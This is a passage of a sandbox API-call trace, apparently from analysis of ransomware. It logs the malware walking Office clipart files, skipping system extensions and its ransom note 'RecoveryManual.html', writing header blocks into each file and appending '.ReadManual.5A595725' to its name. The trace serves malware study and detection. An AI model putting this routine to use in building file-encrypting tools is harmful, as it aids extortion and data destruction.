flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1724, lpName=0x0) returned 0x184 [0274.542] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.543] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.543] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.544] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.545] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1724) returned 0x2f0000 [0274.545] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.545] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39521355844) returned 1 [0274.545] CloseHandle (hObject=0x184) returned 1 [0274.545] SetSecurityInfo () returned 0x57 [0274.545] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.545] CloseHandle (hObject=0x194) returned 1 [0274.545] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2602, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00555_.WMF", cAlternateFileName="")) returned 1 [0274.545] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00555_.WMF" | out: lpString1="SO00555_.WMF") returned="SO00555_.WMF" [0274.545] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.545] StrStrIW (lpFirst="SO00555_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.545] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.545] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.545] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.545] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.545] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.545] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.545] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.545] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.545] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.545] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.546] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.546] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.546] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.546] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.546] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" [0274.546] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.ReadManual.5A595725" [0274.546] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.ReadManual.5A595725") returned 87 [0274.546] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39521450869) returned 1 [0274.546] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf")) returned 0x20 [0274.547] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.547] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9730) returned 1 [0274.547] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2602, lpName=0x0) returned 0x184 [0274.547] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.548] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.548] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.550] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.550] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2602) returned 0x2f0000 [0274.550] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.550] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39521889818) returned 1 [0274.550] CloseHandle (hObject=0x184) returned 1 [0274.550] SetSecurityInfo () returned 0x57 [0274.550] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.550] CloseHandle (hObject=0x194) returned 1 [0274.550] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23879c00, ftCreationTime.dwHighDateTime=0x1c01c5d, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23879c00, ftLastWriteTime.dwHighDateTime=0x1c01c5d, nFileSizeHigh=0x0, nFileSizeLow=0x6260, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00603_.WMF", cAlternateFileName="")) returned 1 [0274.550] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00603_.WMF" | out: lpString1="SO00603_.WMF") returned="SO00603_.WMF" [0274.551] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.551] StrStrIW (lpFirst="SO00603_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.551] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.551] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.551] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.551] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.551] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.551] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.551] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.551] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.551] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.551] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.551] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.551] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.551] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.551] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.551] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" [0274.551] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.ReadManual.5A595725" [0274.551] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.ReadManual.5A595725") returned 87 [0274.551] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39521985456) returned 1 [0274.551] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf")) returned 0x20 [0274.551] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.552] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=25184) returned 1 [0274.552] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6260, lpName=0x0) returned 0x184 [0274.552] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.552] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.553] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.554] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.554] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6260) returned 0x2f0000 [0274.555] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.555] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39522358430) returned 1 [0274.555] CloseHandle (hObject=0x184) returned 1 [0274.555] SetSecurityInfo () returned 0x57 [0274.555] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.555] CloseHandle (hObject=0x194) returned 1 [0274.555] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13335b00, ftCreationTime.dwHighDateTime=0x1bd4b0e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13335b00, ftLastWriteTime.dwHighDateTime=0x1bd4b0e, nFileSizeHigh=0x0, nFileSizeLow=0x9c80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00610_.WMF", cAlternateFileName="")) returned 1 [0274.556] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00610_.WMF" | out: lpString1="SO00610_.WMF") returned="SO00610_.WMF" [0274.556] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.556] StrStrIW (lpFirst="SO00610_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.556] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.556] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.556] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.556] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.556] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.556] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.556] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.556] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.556] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.556] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.556] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.556] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.556] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.556] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.556] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" [0274.556] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.ReadManual.5A595725" [0274.556] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.ReadManual.5A595725") returned 87 [0274.556] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39522512595) returned 1 [0274.556] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf")) returned 0x20 [0274.557] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.557] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=40064) returned 1 [0274.557] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9c80, lpName=0x0) returned 0x184 [0274.557] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.558] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.558] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.560] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.560] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9c80) returned 0x2f0000 [0274.561] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.561] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39522987068) returned 1 [0274.561] CloseHandle (hObject=0x184) returned 1 [0274.561] SetSecurityInfo () returned 0x57 [0274.561] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.561] CloseHandle (hObject=0x194) returned 1 [0274.561] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8d0400, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8d0400, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00629_.WMF", cAlternateFileName="")) returned 1 [0274.561] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00629_.WMF" | out: lpString1="SO00629_.WMF") returned="SO00629_.WMF" [0274.561] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.562] StrStrIW (lpFirst="SO00629_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.562] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.562] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.562] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.562] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.562] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.562] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.562] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.562] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.562] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.562] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.562] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.562] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.562] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.562] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.562] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" [0274.562] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.ReadManual.5A595725" [0274.562] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.ReadManual.5A595725") returned 87 [0274.562] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39523079617) returned 1 [0274.562] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf")) returned 0x20 [0274.562] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.563] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4070) returned 1 [0274.563] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfe6, lpName=0x0) returned 0x184 [0274.563] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.563] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.564] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.565] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.565] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfe6) returned 0x2f0000 [0274.565] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.566] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39523488308) returned 1 [0274.566] CloseHandle (hObject=0x184) returned 1 [0274.566] SetSecurityInfo () returned 0x57 [0274.566] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.566] CloseHandle (hObject=0x194) returned 1 [0274.566] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a9b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x752a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5006, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00633_.WMF", cAlternateFileName="")) returned 1 [0274.566] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00633_.WMF" | out: lpString1="SO00633_.WMF") returned="SO00633_.WMF" [0274.566] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.567] StrStrIW (lpFirst="SO00633_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.567] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.567] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.567] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.567] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.567] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.567] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.567] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.567] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.567] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.567] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.567] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.567] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.567] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.567] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.567] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" [0274.567] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.ReadManual.5A595725" [0274.567] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.ReadManual.5A595725") returned 87 [0274.567] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39523810976) returned 1 [0274.569] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf")) returned 0x20 [0274.583] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.583] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20486) returned 1 [0274.583] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5006, lpName=0x0) returned 0x184 [0274.583] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.584] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.584] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.586] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.586] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5006) returned 0x2f0000 [0274.587] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.587] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39525553897) returned 1 [0274.587] CloseHandle (hObject=0x184) returned 1 [0274.587] SetSecurityInfo () returned 0x57 [0274.587] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.587] CloseHandle (hObject=0x194) returned 1 [0274.587] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: 